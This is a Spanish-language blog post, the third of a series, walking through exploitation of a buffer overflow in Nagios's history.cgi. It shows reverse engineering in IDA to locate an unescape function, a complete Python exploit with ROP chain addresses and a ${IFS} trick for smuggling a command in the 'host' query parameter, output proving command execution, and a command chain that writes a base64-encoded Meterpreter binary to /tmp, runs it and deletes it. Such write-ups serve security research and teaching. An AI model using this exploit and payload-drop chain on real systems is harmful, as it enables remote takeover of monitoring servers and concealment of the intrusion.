miércoles, 23 de enero de 2013

Explotando Nagios paso a paso (y III)

Hace un par de días dejábamos ESTE post sobre la explotación del history.cgi de Nagios con que habíamos conseguido todos los gadgets necesarios pero nos faltaba encontrar la dirección de la función unescape, así que... allá vamos!

Si queremos saber la dirección de una función y esta no está referenciada de ninguna forma, tenemos siempre la opción de mirar en el binario que explota el exploit original y ver que secuencia de acciones realiza, para intentar buscar en nuestro binario el mismo patrón. No es recomendable buscar una secuencia exacta de bytes, ya que los diferentes compiladores e incluso el mismo compilador si se han empleado otras opciones, realiza diferentes optimizaciones de código que puede llevarnos a que el mismo código fuente, en dos compilaciones diferentes, resulte en código binario ligeramente diferente, así que vamos a tener que ser un poco más... "sutiles".

En este caso, por ser Nagios un producto Open Source, tenemos la suerte de poder bajarnos el código fuente y buscar la función a la que hace referencia el autor del exploit. Lamentablemente, si hagamos un grep por el nombre "cgi_input_unescape", veremos que no existe esa función, pero si somos un poco avistados y ponemos "unescape" sí que encontramos una función llamada "unescape_cgi_input". La función tiene pinta de ser la misma, así que probablemente el autor escribió de cabeza el nombre y le fallo la memoria (a mi me ha pasado lo mismo miles de veces). El caso es que, después de hacer un poco de grep, encontramos el código fuente de la función, que tiene una pinta así:


Evidentemente, como comentábamos antes, no tenemos ni idea de como se van a traducir estas lineas a código binario, pero sí que podemos estar seguro de una cosa: que la función va a tener exactamente DOS llamadas a función, una de ella a strlen, y otra de ellas a una función interna del binario de la que seguramente no veremos el nombre. Así que... ¿qué tal si empezamos por buscar todas las llamadas a strlen y nos quedamos con aquellas funciones en las que aparezca EXACTAMENTE una vez? Sería un buen comienzo. En este caso, me resulta más cómodo utilizar IDA y su opción "Jump -> List cross references to" para poder ver de un vistazo si se encuentran en la misma función o no, así que vamos a ello:


Al final nos quedaban unas pocas referencias a funciones que contienen un único "call _strlen", así que esas las podemos inspeccionar a mano a ver si pegan o no con la función que buscamos, hasta que encontramos esta la función sub_804C260 (0x0804c260):


Sin controlar mucho de reversing, solo fijándonos en las llamadas, vemos que esta tiene todas las papeletas para ser nuestra función, ya que tiene únicamente dos llamadas, una de ellas a _strlen y otra a una función interna del binario. Po supuesto, esto lo hemos podido hacer a mano porque había pocas funciones que cumplieran el requisitos de que solo se llamada a _strlen una vez. Si hubiera sido de otra manera tendríamos que habernos hecho un pequeño programita, pero lo hubiéramos podido sacar igualmente.

Así que, después de la jugada, parece que tenemos todo lo que necesitamos para explotar la vulnerabilidad. Vamos a intentar intentar usar esta vulnerabilidad para hacer un simple ping a 127.0.0.1:

$ cat exploit.py
#!/usr/bin/python

stackspace=0xc43
cmd="ping -c5 127.0.0.1;"
cmd = cmd.replace(" ", "${IFS}")

unescape_addr='\x60\xc2\x04\x08'
popret_addr='\x04\x8f\x04\x08'
hostbuf_addr='\x60\x9b\x07\x08'
system_plt_addr='\xb0\x8b\x04\x08'
exit_addr='\x70\x8e\x04\x08'
rop_chain = unescape_addr+popret_addr+hostbuf_addr+system_plt_addr+exit_addr+hostbuf_addr

stackspace=stackspace-len(cmd)
exploit=cmd+'A'*stackspace+rop_chain

print exploit

Con este script, básicamente estamos fusilando lo que hacía el autor original del exploit pero cambiando las direcciones por las que acabamos de averiguar. Por hacer una explicación rápida, vamos a tener el comando que queramos seguido de ';', para que las A's que vendrán después no nos fastidien el comando, sino que se tomen como un segundo comando que, evidentemente, no existirá, pero eso nos da igual. Después, dado que el espacio en blanco puede resultar problemático al ser transmitido por HTTP, lo substituimos por la variable de entorno ${IFS}, que por defecto es... precisamente el espacio en blanco. Luego le ponemos un montón de A's hasta llegar a la dirección de retorno de la función el ROP que hemos ido comentando, y el resultado es...

$ export REMOTE_USER='nagiosadmin'
$ export REQUEST_METHOD='GET'
$ export QUERY_STRING="host=`python exploit.py`"
$ /usr/local/nagios/sbin/history.cgi
[...]

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.061 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.063 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 0.045/0.059/0.065/0.012 ms
sh: AAAAA[...]AAAAAAA: command not found

Perfecto! Ya estamos consiguiendo ejecutar comandos explotando la vulnerabilidad. Ahora solo nos queda... ejecutar un Meterpreter! Por supuesto! Podríamos elegir subir el fichero de muchas maneras, pero que es más probable que funcione es hacerlo a través de la propia vulnerabilidad, haciendo un "echo" del contenido del binario y almacenándolo en un fichero que luego ejecutaremos. El primer problema es que un binario tiene caracteres que nos vamos a poder transmitir haciendo un "echo", así que vamos a trasmitir nuestro binario en base64 y vamos a descodificarlo en destino con el comando "base64", que es bastante estándar en los sistemas Unix. Os lo voy enseñando como si fuera en local, pero todo esto lo introduciríamos en lugar del ping anterior:

$ echo f0VMRgEBA[...]Yt4+TP7QQF | base64 -d

Ahora tendremos que guardar este binario en un fichero, pero los símbolos mayor y mayor nos van a dar algún problemilla, así que vamos a usar el comando "tee", que saca el resultado por pantalla (lo cual nos da igual), pero también lo guarda a un fichero:

echo f0VMRgEBA[...]Yt4+TP7QQF | base64 -d | tee /tmp/meter.bin

Solo nos quedará añadir algunos comandos para darle permisos de escritura a este binario, ejecutarlo, y acabar borrándolo para dejar el sistema limpito:

echo f0VMRgEBA[...]Yt4+TP7QQF | base64 -d | tee /tmp/meter.bin ; chmod 700 /tmp/meter.bin ; /tmp/meter.bin ; rm -f /tmp/meter.bin

Pues ya está! Ha costado pero hemos conseguido ejecutar lo que queramos en la máquina a través de la vulnerabilidad. Con todo esto, portándolo a ruby, y con la inestimable ayuda de Juan Vazquez... tenéis el módulo de Metasploit, como comentábamos AQUÍ.

Si jugando con este exploit obtenéis nuestros targets, os animo a que reporteis vuestro módulo mejorado a Rapid7, para que todos podamos beneficiarnos de él.

Y colorín colorado, el exploiting de Nagios se ha acabado :)